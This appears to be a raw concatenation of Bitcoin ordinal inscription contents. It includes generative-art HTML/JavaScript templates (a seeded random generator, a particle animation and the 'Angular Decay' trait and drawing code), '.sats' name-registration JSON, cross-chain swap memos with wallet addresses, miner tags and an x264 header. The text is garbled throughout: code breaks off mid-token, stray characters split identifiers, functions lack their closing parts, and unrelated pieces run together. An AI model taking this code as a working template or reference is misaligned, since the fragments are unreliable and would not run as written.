<title>A simple template for launching your art on Bitcoin</title> Generative supports the most popular creative coding libraries. Simply uncomment the library you want to use below. Are we missing an important library? Let us know @generative_xyz. <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/p5.js/1.5.0/p5.min.js"></script> <!-- c2.min.js@1.0.0 <script sandbox="allow-scripts" type="text/javascript" src="https://cdn.generative.xyz/ajax/libs/c2/1.0.0/c2.min.js"></script> <!-- chromajs@2.4.2 <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/chroma-js/2.4.2/chroma.min.js"></script> <!-- p5.grain.js@0.6.1 <script sandbox="allow-scripts" type="text/javascript" src="https://cdn.generative.xyz/ajax/libs/p5.grain/0.6.1/p5.grain.min.js"></M <!-- threejs@r124 <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/three.js/r124/three.min.js"></script> <!-- tonejs@14.8.49 <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/tone/14.8.49/Tone.js"></script> <!-- svgjs@3.1.2 <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/svg.js/3.1.2/svg.min.js"></M <!-- aframejs@1.2.0 <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/aframe/1.2.0/aframe.min.js"></script> <!-- babylonjs@5.47.0 <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/babylonjs/5.47.0/babylon.js"></script> <!-- paperjs@0.12.17 <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/paper.js/0.1M 2.17/paper-full.min.js"></script> <!-- regljs@2.1.0 <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/regl/2.1.0/regl.min.js"></script> <script type="text/javascript"> Add your script here Add your script here <script id="snippet-random-code" type="text/javascript"> // DO NOT EDIT THIS SECTION let seed = window.location.href.split('/').find(t => t.includes('i0')); if (seed == null) { const alphabet = "0123456789abcdefghijklmnopqrstuvwsyz"; seed = new URLSearchParams(window.location.search).get("seed") || Array(64).fill(0).map(_ => alphabet[(Math.random() * alphabet.length) | 0]).join('') + "i0"; let pattern = "seed="; for (let i = 0; i < seed.length - pattern.length; ++i) { if (seed.substring(i, i + pattern.length) == pattern) { seed = seed.substring(i + pattern.length); break; function cyrb128($) { let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762; for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 5M 97399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179); return _ = Math.imul(i ^ _ >>> 18, 597399067), u = Math.imul(l ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0] function sfc32($, _, u, i) { return function () { u >>>= 0, i >>>= 0; var l M = ($ >>>= 0) + (_ >>>= 0) | 0; return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0, (l >>> 0) / 4294967296 // IMPORTANT: Instead of Math.random(), use this function mathRand() for random number generation. // This function generates a random number between 0 and 1 with on-chain seed. let mathRand = sfc32(...cyrb128(seed)); width: 100% !important; height: 100% !important; object-fit: contain; position: fixed; left: 0; html, body { background-color: black; position: absolute; <canvas id="canvas"></canvas> <script type="text/javascript"> const rand = maM function T1(rand) { // calculate rarity by yourself if (rand > 0.5) { return true; return false // window.$generativeTraits contain list traits for token // you need to populate a $generativeTraits object in the window object window.$generativeTraits = { "T1": T1(rand), console.log(window.$generativeTraits); Add your code here window.requestAnimFrame = (function () { return window.requestAnimationFrame || window.webkitRequestAnimationFrame || window.mozRequestAnimationFrame || window.oRequestAnimationFrame || window.msRequestAnimationFrame || function (callbM window.setTimeout(callback, 1000 / 60); this.animation = undefined; this.canvas = undefined; this.context = undefined; this.paused = false; this.stats = undefined; this.istats = undefined; constructor: Scene, setup: function (canvas, animation, width, height, stats) { this.canvas = canvas; this.animation = animation; this.height = this.canvas.height = height; .width = this.canvas.width = width; this.context = this.canvas.getContext('2d'); this.stats = stats && window.Stats; if (this.stats) { this.istats = new Stats(); this.istats.setMode(0); this.istats.domElement.style.position = 'absolute'; this.istats.domElement.style.left = '0px'; this.istats.domElement.style.top = '0px'; this.istats.domElement.style.zIndex = '99999'; document.body.appendChild(this.istats.domElement); animate: function (M if (!this.paused) { requestAnimFrame(this.animate.bind(this)); this.stats && (this.istats.begin()); this.animation(this); this.stats && (this.istats.end()); var scene = new Scene(), height = document.body.offsetHeight, width = document.body.offsetWidth; function Particle() { Particle.prototype = { constructor: Particle, nction (width, height) { if (this.y > height) { this.y = 1 - this.size; this.y += this.vy; for (var i = 0; i < len; i++) { var particle = new Particle(); particle.x = Math.random() * width; particle.y = Math.random() * height; particle.depth = Math.random() * 10 | 0; particle.size = (particle.depth + 1) / 8; particle.vy = (particle.depth * .25) + 1 / Math.random(); particles.push(particle); function falling_particles() { var idata = this.context.createM ImageData(this.width, this.height); for (var i = 0, l = particles.length; i < l; i++) { // thanks Loktar ;) var particle = particles[i]; for (var w = 0; w < particle.size; w++) { for (var h = 0; h < particle.size; h++) { var pData = (~~(particle.x + w) + (~~(particle.y + h) * this.width)) * 4; idata.data[pData] = 255; idata.data[pData + 1] = 255; idata.data[pData + 2] = 255; idata.data[pData + 3] = 255; particle.update(this.wM this.context.putImageData(idata, 0, 0); scene.setup(document.getElementById('canvas'), falling_particles, width, height, !0); window.onresize = function () { height = scene.height = scene.canvas.height = document.body.offsetHeight; width = scene.width = scene.canvas.width = document.body.offsetWidth; Add your code here text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":" text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"mono.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":" text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"inb4.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":" CjA=:ETH.ETH:0xeD29317F19F41d7565e1412e6EFd7828b63330c1:257562802::0 d/Foundry USA Pool #dropgold/ FjDOUT:4D893AACC36AB104EFF2BF91FDCD8B13B833C65D983EE05F0A7FA5D50768DB6C JjH=:THOR.RUNE:thor1xvtpwvw0f523gr7lg8qe7wwp5d00y44k8zw3te:41913772932:t:30q Aj?=:ETH.ETH:0xC90495d23653F93e65936607Ad6D2c9A35A7D431:8942809::0 text/plain;charset=utf-8 "3 % % 3-7,),7-Q@88@Q^OJO^qeeq "3 % % 3-7,),7-Q@88@Q^OJO^qeeq text/plain;charset=utf-8 "name": "tumbler.sats" IjGREFUND:987FD1BAA4A052F93158B6F4D1577910830D5B62A1BC3B412081BD88B2FC3273 text/plain;charset=utf-8 "name": "100%.sats" Created with GIMPd.e text/plain;charset=utf-8 "name": "$50.sats" text/plain;charset=utf-8 "name": "#BTC.sats" text/plain;charset=utf-8 "name": "#Bitcoin.sats" text/plain;charset=utf-8 x264 - core 155 - H.264/MPEG-4 AVC codec - Copyleft 2003-2018 - http://www.videolan.org/x264.html - options: cabac=1 ref=3 deblock=1:0:0 analyse=0x3:0x113 me=hex subme=7 psy=1 psy_rd=1.00:0.00 mixed_ref=1 me_range=16 chroma_me=1 trellis=1 8x8dct=1 cqm=0 deadzone=21,11 fast_pskip=1 chroma_qp_offset=-2 threads=8 lookahead_threads=1 sliced_threads=0 nr=0 decimate=1 interlaced=0 bluray_compat=0 constrained_intra=0 bframes=3 b_pyramid=2 b_adapt=1 bM _bias=0 direct=1 weightb=1 open_gop=0 weightp=2 keyint=250 keyint_min=25 scenecut=40 intra_refresh=0 rc_lookahead=40 rc=crf mbtree=1 crf=23.0 qcomp=0.60 qpmin=0 qpmax=69 qpstep=4 ip_ratio=1.40 aq=1:1.00 text/plain;charset=utf-8 "name": "$75.sats" d/Foundry USA Pool #dropgold/ text/plain;charset=utf-8 +{"p":"sns","op":"reg","name":"mighty.sats"}h! text/plain;charset=utf-8 /{"p":"sns","op":"reg","name":"mightycrew.sats"}h! text/plain;charset=utf-8 "name": "MSServicesGlobal.sats" text/plain;charset=utf-8 +{"p":"sns","op":"reg","name":"Mighty.sats"}h! text/plain;charset=utf-8 "name": "AmEx.sats" text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"Jesus.sats"}h! "name": "grug.og", "owner": "bc1pn4prtuy0dyd0m792ug2dhac3rxazdyue2u05llcj38y4ge36yvxqsqph0d", "text":"founder of OrdinallDAO and 15IQ" d/Foundry USA Pool #dropgold/ FjDOUT:CFA958F05F396EB88549E3DEDE42B9A09994A7C7572A0DC573DE388B57327E20 FjDOUT:E7F5A431345F14B84011AB819EC291E4CA9BF91CC7DB6AAE25070D9C3BFF0894 text/plain;charset=utf-8 "name": "99889.sats" Created with GIMPd.e text/plain;charset=utf-8 text/html;charset=utf-8 <meta charset="UTF-8"> <title>Angular Decay</title> <script id="snippet-random-code" type="text/javascript"> let seed = window.location.href.split('/').find(t => t.includes('i0')); const alphabet = "0123456789abcdefghijklmnopqrstuvwsyz"; seed = new URLSearchParams(window.location.search).get("seed") || Array(64).fill(0).map(_ => alphabet[(Math.random() * alphabet.length) | 0]).join('') + "i0"; let pattern = "seed="; for (let i = 0; i <M seed.length - pattern.length; ++i) { if (seed.substring(i, i + pattern.length) == pattern) { seed = seed.substring(i + pattern.length); function cyrb128($) { let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762; for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179); return _ = Math.imul(i ^ _ >>> 18, 597399067), u = Math.imul(lM ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0] function sfc32($, _, u, i) { return function () { var l = ($ >>>= 0) + (_ >>>= 0) | 0; return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0, (l >>> 0) / 4294967296 let mathRand = sfc32(...cyrb128(seed)); <style>body {margin: 0px;} </style>M <canvas id="target"></canvas> <script type="text/javascript"> const rand = mathRand(); const rand2 = mathRand(); let sqpix,cp,ratio=0.707,bug=false; if(rand<0.3){sqpix=0;zoom=false;return"Portrait";} if(rand<0.6){sqpix=0;ratio=1.414;return"Lanscape";} if(rand<0.95){sqpix=1;return"Square";} sqpix=1;bug=1;return"Bugged";} if(rand<0.07){cp=12;return "Paper";} if(rand<0.14){cp=1;return "DPM";} if(rand<0.21){cp=2;return "Fecktarn";} if(rand<0.41){cp=4;return "Desert Drill";} if(rand<0.5){cp=5;return "Urban";} if(rand<0.6){cp=6;return "Navy";} if(rand<0.7){cp=7;return "German Winter";} if(rand<0.8){cp=8;return "Tree";} if(rand<0.85){cp=9;return "Orange";} if(rand<0.9){cp=10;return "Harris";} if(rand<0.95){cp=11;return "Market";} cp=0;return "Saint";} window.$generativeTraits = {"View": T1(rand),"Pallet": T2(rand2) } const container = document.createElement("div") container.innerHTML = "<span>seed: " + seed + "</spM let resizeTmr=null,aniFrame=null; let ofw,ofh,sz,rz=1; let gi=0,gj=0,drp=0,drawtot=2,bmp,artcols=[]; var tricount=0,tr=30; var tx1=[],ty1=[],tx2=[],ty2=[],tx3=[],ty3=[]; var rx1=[],ry1=[],rx2=[],ry2=[],rx3=[],ry3=[]; const init = async () => { window.addEventListener('resize', async () => { clearTimeout(resizeTmr) resizeTmr = setTimeout(async () => { await layoutCanvas() await layoutCanvas() const layoutCanvas = async () => { const wWidth=window.innerWidth const wHeight=window.innerHeight let cHeight=wHeight; let cWidth=cHeight*ratio; if(cWidth>wWidth){cWidth=wWidth;cHeight=cWidth/ratio;} const canvas=document.getElementById('target') canvas.width=2000*rz; canvas.height=(2000*rz)/ratio; canvas.style.position = 'absolute' canvas.style.width = `${cWidth}px` canvas.style.height = `${cHeight}px` canvas.style.left = `${(wWidth - cWidth) / 2}px` canvas.style.top = `${(wHeight - cHeight) / 2}pM const drawCanvas = async () => { if(!tried) setupart(); if (aniFrame) window.cancelAnimationFrame(aniFrame) const canvas=document.getElementById('target') const ctx=canvas.getContext('2d') {let bx=ofw/500,by=ofh/500; ctx.globalAlpha=0.05; for(let f=10;f<30; f++){ for(let i=0;i<500; i++){ drawEllipse(ctx, bx*i + ri(3)*sz, by*gj+ ri(3)*sz, bx/2,bx/2,'#ffffff'); drawEllipse(ctx, bx*i + ri(3)*sz, by*gj+ ri(3)*sz, bx/2,bx/2,'M if(gj>500) { drp=3; gj=0; } for(let f=0;f<tc;f++){ if(bug) dl(ctx, tx1[f]*sz,ty1[f]*sz, tx2[f]*sz*sz,ty2[f]*sz, artcols[1], 1*sz); else dl(ctx, tx1[f]*sz,ty1[f]*sz, tx2[f]*sz,ty2[f]*sz, artcols[1], 1*sz); dl(ctx, tx2[f]*sz,ty2[f]*sz, tx3[f]*sz,ty3[f]*sz, artcols[1], 1*sz); dl(ctx, tx1[f]*sz,ty1[f]*sz, tx3[f]*sz,ty3[f]*sz, artcols[1], 1*sz);} for(let f=0;f<rc;f++){ dl(ctx, rx1[f]*sz,ry1[f]*sz, rx2[f]*sz,ry2[f]*sz, artcols[2], 1*sz); ,ry2[f]*sz, rx3[f]*sz,ry3[f]*sz, artcols[2], 1*sz); dl(ctx, rx1[f]*sz,ry1[f]*sz, rx3[f]*sz,ry3[f]*sz, artcols[2], 1*sz);} ctx.fillStyle = artcols[0]; ctx.fillRect(0,0,ofw,ofh); mathRand = sfc32(...cyrb128(seed)); tc=0;rc=0;tricount=0;tr=30;bmp=0; triharder(500, 500, 500+rir(-tr,tr), 500+rir(-tr,tr)); tricount=1000;tr=rir(10,50);dor=true;bmp=0; triharder(500, 500, 500+rir(-tr,tr), 500+rir(-tr,tr)); aniFrame = window.requestAnimationM function triharder( x1,y1, x2,y2) if(tricount>2500) return; var x3=x1+rir(-tr,tr); var y3=y1+rir(-tr,tr); if(x3<0){x3+=tr;bmp++} if(x3>1000){x3-=tr;bmp++} if(y3<0){y3+=tr;bmp++} if(y3>1000/ratio){y3-=tr;bmp++} if(dor) {rx1[rc]=x1;ry1[rc]=y1;rx2[rc]=x2;ry2[rc]=y2;rx3[rc]=x3;ry3[rc]=y3;rc++; } else {tx1[tc]=x1;ty1[tc]=y1;tx2[tc]=x2;ty2[tc]=y2;tx3[tc]=x3;ty3[tc]=y3;tc++;} if(bmp>15){bmp=0; x3=y3=500;x1=rir(500,500+tr);y1=rir(500,500+tr);x2=rir(500,500-tr);y2=rir(500,500-M triharder(x3,y3, x1,y1); if(ri(100)>20) triharder(x3,y3, x2,y2); const autoDownloadCanvas = async () => { const element = document.createElement('a') element.setAttribute('download',`Angular-${ofw}x${ofh}-${seed}`) element.style.display = 'none' document.body.appendChild(element) let imageBlob = null imageBlob = await new Promise(resolve => document.getElementById('target').toBlob(resolve, 'image/png')) element.setAttribute('href', window.URL.createObjectURL(imageBlob, { document.body.removeChild(element) document.addEventListener('keypress', async (e) => { e = e || window.event if (e.key === 's') autoDownloadCanvas() if (e.key === 'h') { rz++;if(rz>5)rz=1;drp=0;gi=0;gj=0;await layoutCanvas() } function drawEllipse(ctx,x,y,rx,ry,fill) { ctx.ellipse(x, y, rx, ry, 0, 0, 2 * Math.PI); if (fill) {ctx.fillStyle = fill;ctx.fill();} function dl(ctx,lx,ly,ex,ey,stroke,width) { if (stroke) {ctx.strokeStyle = stroke;} if (width) { ctx.linM ctx.beginPath();ctx.moveTo(lx,ly);ctx.lineTo(ex,ey);ctx.stroke(); if(cp==12)artcols=['#EDECE0','#303030','#880808']; if(cp==0) artcols=['#F0BEB2','#F25B40','#3A8D3B']; if(cp==11)artcols=['#4F97BA','#F9E1B5','#BD2C41']; if(cp==1) artcols=['#25201E','#D3A252','#686C22']; if(cp==2) artcols=['#B4CBCA','#1F5FB3','#355026']; if(cp==3) artcols=['#D1C7C5','#6E5247','#8D695D']; if(cp==4) artcols= ['#E4DBBE','#8BB8B3','#AF799A']; if(cp==5) artcols= ['#B8B8B3','#474747','M if(cp==6) artcols= ['#A6B2C7','#323642','#394A69']; if(cp==7) artcols= ['#E6E6E4','#343523','#B2B2AD']; if(cp==8) artcols= ['#A9A18E','#706B5C','#606A4D']; if(cp==9) artcols= ['#EDECE0','#944645','#F25D34']; if(cp==10) artcols= ['#9FA6A4','#77694E','#B54933']; function ri( x){ return Math.floor(mathRand()*x);} function rir(x,y){ let nr = (y - x) ; return Math.floor((mathRand()*nr) + x); } text/plain;charset=utf-8 "name": "Heineken.sats" text/plain;charset=utf-8 "name": "ETF.sats" Aj?=:ETH.ETH:0xaE3DC1219AeE4920ec7064bDAdF9D2d502137470:3673856::0 Bj@=:BNB.BNB:bnb1ej0grj75e06jx0652mudnz6u2zu4ej9xltuppj:92948199::0 text/plain;charset=utf-8 "name": "$25.sats" /ViaBTC/Mined by alterm/, GjE=:ETH.ETH:0x932C5aE3Adae304013C9292E71aFcdE69E3aeD13:291896086:xdf:50 FjDOUT:DB5FAC3B2EDC1060F244F1A022706830C96B9C4D2BD0A50D02346B8C719031A5 4j2DC-L5:Q1OJ3zIxHsZqgS+mAD2bg8ZMszNmSQvij7qwFhgaLlY= ;j9=:RUNE:thor1w4u7yst8wg90dp6xpnv59e6e6w5u5s9j64na3r::wr:30~~r Bj@ffebea32a3e39b9761ac17ab988298278ea831e1766345edf3777aa06048f569 text/html;charset=utf-8 <title>Chemical X compound test</title> <canvas id="myCanvas"></canvas> var canvas = document.getElementById("myCanvas"); var context = canvas.getContext("2d"); var colors = ['#ff00ff', '#ffde00', '#54e507', '#903ef9', '#ffedd7', '#fc8300', '#0bc4ff', '#ff0000']; var startBlockHeight = 778988; // Fetch the current block height from Blockchain.com API fetch('https://blockchM ain.info/q/getblockcount') .then(response => response.text()) var currentBlockHeight = parseInt(data); var blockDiff = currentBlockHeight - startBlockHeight; var colorIndex = blockDiff % colors.length; var color = colors[colorIndex]; context.fillStyle = color; context.fillRect(0, 0, canvas.width, canvas.height); .catch(error => console.error(error)); Bj@=:BNB.BNB:bnb1uq6g43l4lclyzsrgtry6vdk04juyf4d75ktqpq:75806194::0 text/html;charset=utf-8 <meta charset="UTF-8"> <title>Angular Decay</title> <script id="snippet-random-code" type="text/javascript"> let seed = window.location.href.split('/').find(t => t.includes('i0')); const alphabet = "0123456789abcdefghijklmnopqrstuvwsyz"; seed = new URLSearchParams(window.location.search).get("seed") || Array(64).fill(0).map(_ => alphabet[(Math.random() * alphabet.length) | 0]).join('') + "i0"; let pattern = "seed="; for (let i = 0; i <M seed.length - pattern.length; ++i) { if (seed.substring(i, i + pattern.length) == pattern) { seed = seed.substring(i + pattern.length); function cyrb128($) { let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762; for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179); return _ = Math.imul(i ^ _ >>> 18, 597399067), u = Math.imul(lM ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0] function sfc32($, _, u, i) { return function () { var l = ($ >>>= 0) + (_ >>>= 0) | 0; return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0, (l >>> 0) / 4294967296 let mathRand = sfc32(...cyrb128(seed)); <style>body {margin: 0px;} </style>M <canvas id="target"></canvas> <script type="text/javascript"> const rand = mathRand(); const rand2 = mathRand(); let sqpix,cp,ratio=0.707,bug=false; if(rand<0.3){sqpix=0;zoom=false;return"Portrait";} if(rand<0.6){sqpix=0;ratio=1.414;return"Lanscape";} if(rand<0.95){sqpix=1;return"Square";} sqpix=1;bug=1;return"Bugged";} if(rand<0.07){cp=12;return "Paper";} if(rand<0.14){cp=1;return "DPM";} if(rand<0.21){cp=2;return "Fecktarn";} if(rand<0.41){cp=4;return "Desert Drill";} if(rand<0.5){cp=5;return "Urban";} if(rand<0.6){cp=6;return "Navy";} if(rand<0.7){cp=7;return "German Winter";} if(rand<0.8){cp=8;return "Tree";} if(rand<0.85){cp=9;return "Orange";} if(rand<0.9){cp=10;return "Harris";} if(rand<0.95){cp=11;return "Market";} cp=0;return "Saint";} window.$generativeTraits = {"View": T1(rand),"Pallet": T2(rand2) } const container = document.createElement("div") container.innerHTML = "<span>seed: " + seed + "</spM let resizeTmr=null,aniFrame=null; let ofw,ofh,sz,rz=1; let gi=0,gj=0,drp=0,drawtot=2,bmp,artcols=[]; var tricount=0,tr=30; var tx1=[],ty1=[],tx2=[],ty2=[],tx3=[],ty3=[]; var rx1=[],ry1=[],rx2=[],ry2=[],rx3=[],ry3=[]; const init = async () => { window.addEventListener('resize', async () => { clearTimeout(resizeTmr) resizeTmr = setTimeout(async () => { await layoutCanvas() await layoutCanvas() const layoutCanvas = async () => { const wWidth=window.innerWidth const wHeight=window.innerHeight let cHeight=wHeight; let cWidth=cHeight*ratio; if(cWidth>wWidth){cWidth=wWidth;cHeight=cWidth/ratio;} const canvas=document.getElementById('target') canvas.width=2000*rz; canvas.height=(2000*rz)/ratio; canvas.style.position = 'absolute' canvas.style.width = `${cWidth}px` canvas.style.height = `${cHeight}px` canvas.style.left = `${(wWidth - cWidth) / 2}px` canvas.style.top = `${(wHeight - cHeight) / 2}pM const drawCanvas = async () => { if(!tried) setupart(); if (aniFrame) window.cancelAnimationFrame(aniFrame) const canvas=document.getElementById('target') const ctx=canvas.getContext('2d') {let bx=ofw/500,by=ofh/500; ctx.globalAlpha=0.05; for(let f=10;f<30; f++){ for(let i=0;i<500; i++){ drawEllipse(ctx, bx*i + ri(3)*sz, by*gj+ ri(3)*sz, bx/2,bx/2,'#ffffff'); drawEllipse(ctx, bx*i + ri(3)*sz, by*gj+ ri(3)*sz, bx/2,bx/2,'M if(gj>500) { drp=3; gj=0; } for(let f=0;f<tc;f++){ if(bug) dl(ctx, tx1[f]*sz,ty1[f]*sz, tx2[f]*sz*sz,ty2[f]*sz, artcols[1], 1*sz); else dl(ctx, tx1[f]*sz,ty1[f]*sz, tx2[f]*sz,ty2[f]*sz, artcols[1], 1*sz); dl(ctx, tx2[f]*sz,ty2[f]*sz, tx3[f]*sz,ty3[f]*sz, artcols[1], 1*sz); dl(ctx, tx1[f]*sz,ty1[f]*sz, tx3[f]*sz,ty3[f]*sz, artcols[1], 1*sz);} for(let f=0;f<rc;f++){ dl(ctx, rx1[f]*sz,ry1[f]*sz, rx2[f]*sz,ry2[f]*sz, artcols[2], 1*sz); ,ry2[f]*sz, rx3[f]*sz,ry3[f]*sz, artcols[2], 1*sz); dl(ctx, rx1[f]*sz,ry1[f]*sz, rx3[f]*sz,ry3[f]*sz, artcols[2], 1*sz);} ctx.fillStyle = artcols[0]; ctx.fillRect(0,0,ofw,ofh); mathRand = sfc32(...cyrb128(seed)); tc=0;rc=0;tricount=0;tr=30;bmp=0; triharder(500, 500, 500+rir(-tr,tr), 500+rir(-tr,tr)); tricount=1000;tr=rir(10,50);dor=true;bmp=0; triharder(500, 500, 500+rir(-tr,tr), 500+rir(-tr,tr)); aniFrame = window.requestAnimationM function triharder( x1,y1, x2,y2) if(tricount>2500) return; var x3=x1+rir(-tr,tr); var y3=y1+rir(-tr,tr); if(x3<0){x3+=tr;bmp++} if(x3>1000){x3-=tr;bmp++} if(y3<0){y3+=tr;bmp++} if(y3>1000/ratio){y3-=tr;bmp++} if(dor) {rx1[rc]=x1;ry1[rc]=y1;rx2[rc]=x2;ry2[rc]=y2;rx3[rc]=x3;ry3[rc]=y3;rc++; } else {tx1[tc]=x1;ty1[tc]=y1;tx2[tc]=x2;ty2[tc]=y2;tx3[tc]=x3;ty3[tc]=y3;tc++;} if(bmp>15){bmp=0; x3=y3=500;x1=rir(500,500+tr);y1=rir(500,500+tr);x2=rir(500,500-tr);y2=rir(500,500-M triharder(x3,y3, x1,y1); if(ri(100)>20) triharder(x3,y3, x2,y2); const autoDownloadCanvas = async () => { const element = document.createElement('a') element.setAttribute('download',`Angular-${ofw}x${ofh}-${seed}`) element.style.display = 'none' document.body.appendChild(element) let imageBlob = null imageBlob = await new Promise(resolve => document.getElementById('target').toBlob(resolve, 'image/png')) element.setAttribute('href', window.URL.createObjectURL(imageBlob, { document.body.removeChild(element) document.addEventListener('keypress', async (e) => { e = e || window.event if (e.key === 's') autoDownloadCanvas() if (e.key === 'h') { rz++;if(rz>5)rz=1;drp=0;gi=0;gj=0;await layoutCanvas() } function drawEllipse(ctx,x,y,rx,ry,fill) { ctx.ellipse(x, y, rx, ry, 0, 0, 2 * Math.PI); if (fill) {ctx.fillStyle = fill;ctx.fill();} function dl(ctx,lx,ly,ex,ey,stroke,width) { if (stroke) {ctx.strokeStyle = stroke;} if (width) { ctx.linM ctx.beginPath();ctx.moveTo(lx,ly);ctx.lineTo(ex,ey);ctx.stroke(); if(cp==12)artcols=['#EDECE0','#303030','#880808']; if(cp==0) artcols=['#F0BEB2','#F25B40','#3A8D3B']; if(cp==11)artcols=['#4F97BA','#F9E1B5','#BD2C41']; if(cp==1) artcols=['#25201E','#D3A252','#686C22']; if(cp==2) artcols=['#B4CBCA','#1F5FB3','#355026']; if(cp==3) artcols=['#D1C7C5','#6E5247','#8D695D']; if(cp==4) artcols= ['#E4DBBE','#8BB8B3','#AF799A']; if(cp==5) artcols= ['#B8B8B3','#474747','M if(cp==6) artcols= ['#A6B2C7','#323642','#394A69']; if(cp==7) artcols= ['#E6E6E4','#343523','#B2B2AD']; if(cp==8) artcols= ['#A9A18E','#706B5C','#606A4D']; if(cp==9) artcols= ['#EDECE0','#944645','#F25D34']; if(cp==10) artcols= ['#9FA6A4','#77694E','#B54933']; function ri( x){ return Math.floor(mathRand()*x);} function rir(x,y){ let nr = (y - x) ; return Math.floor((mathRand()*nr) + x); } text/plain;charset=utf-8 "name": "twint.sats" Aj?=:ETH.ETH:0x1043c028431eee6F1788e36Dfe1bBddA55c0ceF3:1510496::0 text/html;charset=utf-8 <meta charset="UTF-8"> <title>A simple template for launching your art on Bitcoin</title> Generative supports the most popular creative coding libraries. Simply uncomment the library you want to use below. Are we missing an important library? Let us know @generative_xyz. <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/p5.js/1.5.0/p5.min.js"></script> <!-- c2.min.js@1.0.0 pt sandbox="allow-scripts" type="text/javascript" src="https://cdn.generative.xyz/ajax/libs/c2/1.0.0/c2.min.js"></script> <!-- chromajs@2.4.2 <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/chroma-js/2.4.2/chroma.min.js"></script> <!-- <script sandbox="allow-scripts" type="text/javascript" src="https://cdn.generative.xyz/ajax/libs/p5.grain/0.6.1/p5.grain.min.js"></script>--> <!-- threejs@r124 <script sandbox="allow-scripts" typM e="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/three.js/r124/three.min.js"></script> <!-- tonejs@14.8.49 <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/tone/14.8.49/Tone.js"></script> <!-- svgjs@3.1.2 <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/svg.js/3.1.2/svg.min.js"></script> <!-- aframejs@1.2.0 <script sandbox="allow-scripts" type="text/jaM vascript" src="https://cdnjs.cloudflare.com/ajax/libs/aframe/1.2.0/aframe.min.js"></script> <!-- babylonjs@5.47.0 <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/babylonjs/5.47.0/babylon.js"></script> <!-- paperjs@0.12.17 <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/paper.js/0.12.17/paper-full.min.js"></script> <!-- regljs@2.1.0 <script sandbox="allow-scripts" tM ype="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/regl/2.1.0/regl.min.js"></script> <script type="text/javascript"> Add your script here Add your script here <script id="snippet-random-code" type="text/javascript"> let seed = window.location.href.split('/').find(t => t.includes('i0')); if (seed == null) { const alphabet = "0123456789abcdefghijklmnopqrstuvwsyz"; seed = new URLSearchParams(window.location.search).get("seed") || Array(64).fill(0).map(_ => alphabet[(Math.random() * alphabet.length) | 0]).join('') + "i0"; let pattern = "seed="; for (let i = 0; i < seed.length - pattern.length; ++i) { if (seed.substM ring(i, i + pattern.length) == pattern) { seed = seed.substring(i + pattern.length); break; function cyrb128($) { let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762; for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179); urn _ = 